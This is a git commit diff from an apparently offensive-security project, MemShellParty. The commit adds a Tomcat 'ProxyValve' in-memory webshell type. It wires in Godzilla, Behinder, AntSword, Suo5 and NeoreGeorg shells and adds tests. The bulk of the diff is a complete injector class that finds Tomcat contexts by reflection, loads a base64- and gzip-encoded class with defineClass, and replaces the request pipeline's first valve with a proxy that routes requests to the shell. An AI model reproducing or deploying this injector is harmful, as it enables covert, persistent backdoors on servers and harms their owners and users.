mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support Tomcat ProxyValve shell
This commit is contained in:
@@ -118,6 +118,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
||||
.addShellClass(VALVE, GodzillaValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||
.addShellClass(PROXY_VALVE, Godzilla.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
@@ -146,6 +148,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
||||
.addShellClass(VALVE, BehinderValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||
.addShellClass(PROXY_VALVE, Behinder.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||
@@ -164,6 +168,7 @@ public enum Server {
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, AntSwordListener.class)
|
||||
.addShellClass(VALVE, AntSwordValve.class)
|
||||
.addShellClass(PROXY_VALVE, AntSword.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
||||
@@ -184,6 +189,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||
.addShellClass(VALVE, CommandValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||
.addShellClass(PROXY_VALVE, Command.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||
@@ -212,6 +219,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
||||
.addShellClass(VALVE, Suo5Valve.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||
.addShellClass(PROXY_VALVE, Suo5.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||
@@ -235,6 +244,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
||||
.addShellClass(VALVE, NeoreGeorgValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
||||
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||
|
||||
@@ -6,15 +6,18 @@ package com.reajason.javaweb.memshell;
|
||||
*/
|
||||
public class ShellType {
|
||||
|
||||
public static final String JAKARTA = "Jakarta";
|
||||
public static final String SERVLET = "Servlet";
|
||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
||||
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
|
||||
public static final String FILTER = "Filter";
|
||||
public static final String JAKARTA_FILTER = "JakartaFilter";
|
||||
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
|
||||
public static final String LISTENER = "Listener";
|
||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
||||
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
|
||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.server;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.*;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
@@ -39,6 +38,8 @@ public class TomcatShell extends AbstractShell {
|
||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(VALVE, TomcatValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
||||
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||
.addInjector(JAKARTA_PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
|
||||
@@ -0,0 +1,70 @@
|
||||
package com.reajason.javaweb.memshell.shelltool;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/2
|
||||
*/
|
||||
public class ProxyTest {
|
||||
|
||||
static class ValveProxy implements InvocationHandler {
|
||||
|
||||
private final Valve valve;
|
||||
|
||||
ValveProxy(Valve valve) {
|
||||
this.valve = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
System.out.println("hello world" + method.getName());
|
||||
return method.invoke(valve, args);
|
||||
}
|
||||
}
|
||||
|
||||
static class TestValve implements Valve {
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
System.out.println("invoke method");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void test() {
|
||||
Valve valve = (Valve) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Valve.class}, new ValveProxy(new TestValve()));
|
||||
valve.invoke(null, null);
|
||||
}
|
||||
}
|
||||
+1
@@ -55,6 +55,7 @@ public class Tomcat10ContainerTest {
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.JAKARTA_PROXY_VALVE,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
|
||||
+2
-1
@@ -56,11 +56,12 @@ public class Tomcat11ContainerTest {
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.JAKARTA_PROXY_VALVE,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||
}
|
||||
|
||||
|
||||
+1
@@ -57,6 +57,7 @@ public class Tomcat11JRE21ContainerTest {
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.JAKARTA_PROXY_VALVE,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
|
||||
+2
-1
@@ -57,10 +57,11 @@ public class Tomcat5ContainerTest {
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
|
||||
+1
@@ -55,6 +55,7 @@ public class Tomcat6ContainerTest {
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
|
||||
+1
@@ -55,6 +55,7 @@ public class Tomcat7ContainerTest {
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
|
||||
+1
@@ -50,6 +50,7 @@ public class Tomcat8CommandEncryptorContainerTest {
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.PROXY_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP)
|
||||
);
|
||||
}
|
||||
|
||||
+1
@@ -58,6 +58,7 @@ public class Tomcat8ContainerTest {
|
||||
ShellType.SERVLET,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
|
||||
+1
@@ -55,6 +55,7 @@ public class Tomcat9ContainerTest {
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
|
||||
+206
@@ -0,0 +1,206 @@
|
||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
|
||||
private Object rawValve;
|
||||
private Object proxyValve;
|
||||
|
||||
static {
|
||||
new TomcatProxyValveInjector();
|
||||
}
|
||||
|
||||
public TomcatProxyValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||
this.rawValve = rawValve;
|
||||
this.proxyValve = proxyValve;
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
if ("invoke".equals(method.getName())) {
|
||||
try {
|
||||
Object request = args[0];
|
||||
Object response = args[1];
|
||||
if (proxyValve.equals(new Object[]{request, response})) {
|
||||
return null;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
return method.invoke(rawValve, args);
|
||||
}
|
||||
}
|
||||
return method.invoke(rawValve, args);
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null
|
||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
||||
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
|
||||
Object rawValve = null;
|
||||
String fieldName = "first";
|
||||
try {
|
||||
rawValve = getFieldValue(pipeline, fieldName);
|
||||
} catch (NoSuchFieldException e) {
|
||||
fieldName = "basic";
|
||||
rawValve = getFieldValue(pipeline, fieldName);
|
||||
}
|
||||
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
|
||||
setFieldValue(pipeline, fieldName, proxyValve);
|
||||
System.out.println("proxyValve inject successful");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
|
||||
Field field = getField(obj, name);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
Field field = getField(obj, name);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user